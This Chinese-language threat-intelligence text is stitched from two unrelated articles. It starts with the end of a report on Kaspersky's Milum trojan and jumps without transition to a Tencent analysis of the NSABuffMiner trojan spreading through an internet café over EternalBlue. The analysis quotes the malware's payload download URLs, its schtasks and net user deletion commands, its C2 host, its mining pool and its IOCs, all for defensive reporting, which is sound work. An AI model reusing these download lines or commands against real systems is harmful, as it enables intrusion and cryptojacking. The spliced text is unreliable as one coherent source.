然而,卡巴斯基方面表示,攻击活动的剩余部分都没有任何线索,使归因变得很困难。在活动基础架构方面,运营商使用了从ISP OVH和Netzbetrieb租用的虚拟专用服务器(VPS),以及使用通过代理匿名服务在Domains中注册的域名。

Legezo还表示,恶意软件作者使用的C ++代码方式(存储在二进制文件的资源部分中的base64编码JSON格式的配置数据)相当通用。

Legezo解释说:

迄今为止,我们还没有观察到与任何已知的actor或活动有关的基于代码或受害者的强烈相似之处。任何相似之处在归因方面都应被视为薄弱环节,并且可以简单地从以前的著名案例中复制出来。的确,近年来,这种“向更有经验的攻击者学习”的循环已被一些有趣的新actor采用。

值得一看

研究人员发现了三个此前未被发现的循环传播的木马样本。所有这些都是在去年3月份的时候首次编译的,而感染是在去年5月底时开始的,也就是说这木马感染活动是全年都在持续的。

该时间表与其他方面相结合,使得Legezo怀疑该恶意软件还处于开发的早期阶段,他预计恶意软件还会有后续其他的活动。

首先,样本上有一个“1.0.1”的版本标记。并且,在用于与命令和控制(C2)服务器进行通信的HTTP POST请求中,有一些字段可以选择使用不同的编程语言,这就表示他们或许有计划启用非C++版本的代码(如果现存代码中还没有的话)。

Legezo说:

我们考虑保留这些文件的唯一原因是,如果攻击者拥有数种以不同语言编写的木马,就可以与同一个控制服务器一起工作。

Legezo补充说明,Milum值得观察,特别是考虑到它对中东工业目标的袭击。但是,其个性的缺乏,可能使其在将来的战役中成为变色龙。他总结表示,该恶意软件并非专门针对任何类型的受害者而设计的,可以在其他操作中重复使用。

一 、背景

腾讯安全威胁情报中心发现某样本广度突增,该异常已触发系统自动告警,数据显示该样本于3月28日活跃量突增20倍,并且发现样本的地区分布呈明显聚集,主要集中在我国某地(后查明受害者为某网吧局域网)。

将样本hsah输入腾讯智能安服系统进行检索分析,结果显示,该病毒样本属于挖矿木马NSABuffMiner家族,该木马家族最早于2018年9月被发现,主要利用永恒之蓝漏洞ms17-010攻击传播,且Payload下载植入的安装木马常常伪装成某些主流软件程序,常用挖矿进程名为rundllhost.exe,因其使用C2域名da.alibuf.com、bmw.hobuff.info而命名为NSABuffMiner。

该病毒局部突增,提醒我们:仍有相当一部分网络用户未能及时修补永恒之蓝高危漏洞,而这个漏洞自披露之日起,已有三年之久。 

image.png

NSABuffMiner挖矿木马局部突增,提醒我们:仍有相当一部分网络用户未能及时修补永恒之蓝高危漏洞,而这个漏洞自披露之日起,已有三年之久。攻击者还在控制肉鸡电脑给自己挖矿的同时,卸载Mykings、WannaMiner家族的挖矿木马。同时,攻击者还会植入Gh0st远控木马窃取信息,这对于网吧用户来说,会造成玩家帐号密码被盗和其他隐私信息泄露。

二、详细分析

溯源分析后发现是某网吧3月29日感染了挖矿木马NSABuffMiner,该木马通过释放的永恒之蓝漏洞攻击工具到Windowsd目录,然后利用永恒之蓝漏洞在网吧内网迅速传播。

image.png

释放的主程序Fileftp.exe扫描内网445端口,并将开放端口的IP地址保存至445.txt。

image.png

针对开放端口的IP地址,利用“永恒之蓝”、“永恒浪漫”、“永恒冠军”、“双脉冲星”漏洞攻击工具进行攻击。 

image.png

漏洞攻击成功执行Payload(x86.dll或x64.dll)依次下载和执行iexplore.exe、86.exe、c64.exe,下载地址为:

http[:]//baidu.honker.info:8/c64.exe

http[:]//baidu.honker.info:8/iexplore.exe

http[:]//baidu.honker.info:8/86.exe 

image.png

其中iexplore.exe仍然具有伪装成某杀毒软件模块的特点。

image.png

iexplore.exe释放文件winring0x64.sys(https[:]//github.com/QCute/WinRing0),该模块支持在Windows Ring0层访问cpu msr、直接访问内存,访问io pci设备的功能。

image.png

iexplore.exe释放文件conhost.bat脚本,在脚本中完成竞品清除和木马下载行为:

1. takeown获取cscript.exe和wscript.exe的文件所属权,删除Image File Execution Options(映像劫持)中对应的cscript.ex和wscript.exe项,以便后续能正常执行脚本代码。

image.png

2. 通过添加“lsma12.exe”的Image File Execution Options对应项值为taskkill.exe,使得Mykings家族的挖矿木马进程lsma12.exe无法执行,还会通过以下命令来删除Mykings家族对应的计划任务:

schtasks /delete /tn "oka" /f
schtasks /delete /tn "ok" /f
schtasks /delete /tn "Mysa3" /f
schtasks /delete /tn "Mysa2" /f
schtasks /delete /tn "Mysa1" /f
schtasks /delete /tn "Mysa" /f
schtasks /delete /tn "my1" /f

3. 通过命令takeown、cacls获取Powershell.exe的执行权:

image.png

4. 通过命令删除竞品挖矿木马留下的账户:

@net user mm123$ /del
@net1 user mm123$ /del

6. 开启IPS服务,添加本地安全策略,阻止任何目标地址与本机IP的135、137、138、139、445端口的tcp通信。

 image.png

7. 按照进程文件名、服务名进行匹配,发现目标后通过杀死进程,删除服务,映像劫持等方法解除竞品挖矿木马的资源占用,主要针对的挖矿木马为Mykings、WannaMiner家族。 

image.png 

8. 通过脚本xxoo.vbs下载保存在有道云笔记上的木马,保存为dlltps.exe、narratorrs、0osk.exe、dlloe.exe并运行。

image.png

iexplore.exe释放文件conhost.exe,将其安装为服务“MetPipAtcivator”反复执行。

image.png

conhost.exe首先关闭任务管理器,退出各类监控程序,杀软进程,设置木马所在目录为隐藏属性。

image.png

然后释放门罗币挖矿程序rundlls.exe(由开源挖矿程序XMRig编译)并启动挖矿,同时通过服务管理工具NSSM将其安装为服务”SetPipAtcivator”反复执行。

矿池:a.beike.website:1230

用户名:BaiDu 

image.png

image.png

86.exe创建C:\Windows\system32\10996728.dll并加载到内存执行,该DLL是由Gh0st修改而成的远控木马,会连接C2地址sky.hobuff.info:7707对电脑进行远程控制,具有搜集系统信息、上传下载文件、删除文件、删除系统记录、查看系统服务、执行任意程序、结束程序、远程桌面、记录键盘等功能。

image.png

image.png

 

三、安全建议

1. 服务器关闭不必要的端口,例如139、445端口等。

2. 手动安装“永恒之蓝”漏洞补丁请访问以下页面:

  https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

  其中WinXP,Windows Server 2003用户请访问:

  https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

IOCs

Md5

79031460432a4b7323bb0197c4c9ac28

4b0696dacce157b7b8975faa7c3ddc84

9bc21c63e58a5756eb3a4319123ead5b

8e67b44e3ba1391ce778da8cbf202a88

e0f3305c23847ddc275f8cc8fb203c4d

b259937f40ef13f933f9d489d4091a1d

Domain

baidu.honker.info

C&C

sky.hobuff.info:7707

URL

http[:]//baidu.honker.info:8/c64.exe

http[:]//baidu.honker.info:8/iexplore.exe

http[:]//baidu.honker.info:8/86.exe

http[:]//note.youdao.com/yws/api/personal/file/WEB9582c940624e9219810ac5a73cf78f60?method=download&inline=true&shareKey=cc2ecda7adab81bd366de9fe738ee7a5

http[:]//note.youdao.com/yws/api/personal/file/WEB0905e4599e22347f06518a7a9dc1e085?method=download&inline=true&shareKey=8ddb1492496fcb017c75a16dbfa06730

http[:]//note.youdao.com/yws/api/personal/file/WEB413662f5cc07627e58c48fe17d4d29d0?method=download&inline=true&shareKey=eb9998a97429406e7ea9f4bf2bf14549

http[:]//note.youdao.com/yws/api/personal/file/WEB5054fc459aa11c43e89b6ae4a9946e8b?method=download&inline=true&shareKey=b92eb5f848edcb42eb6327e5ed2bbb35

矿池:a.beike.website:1230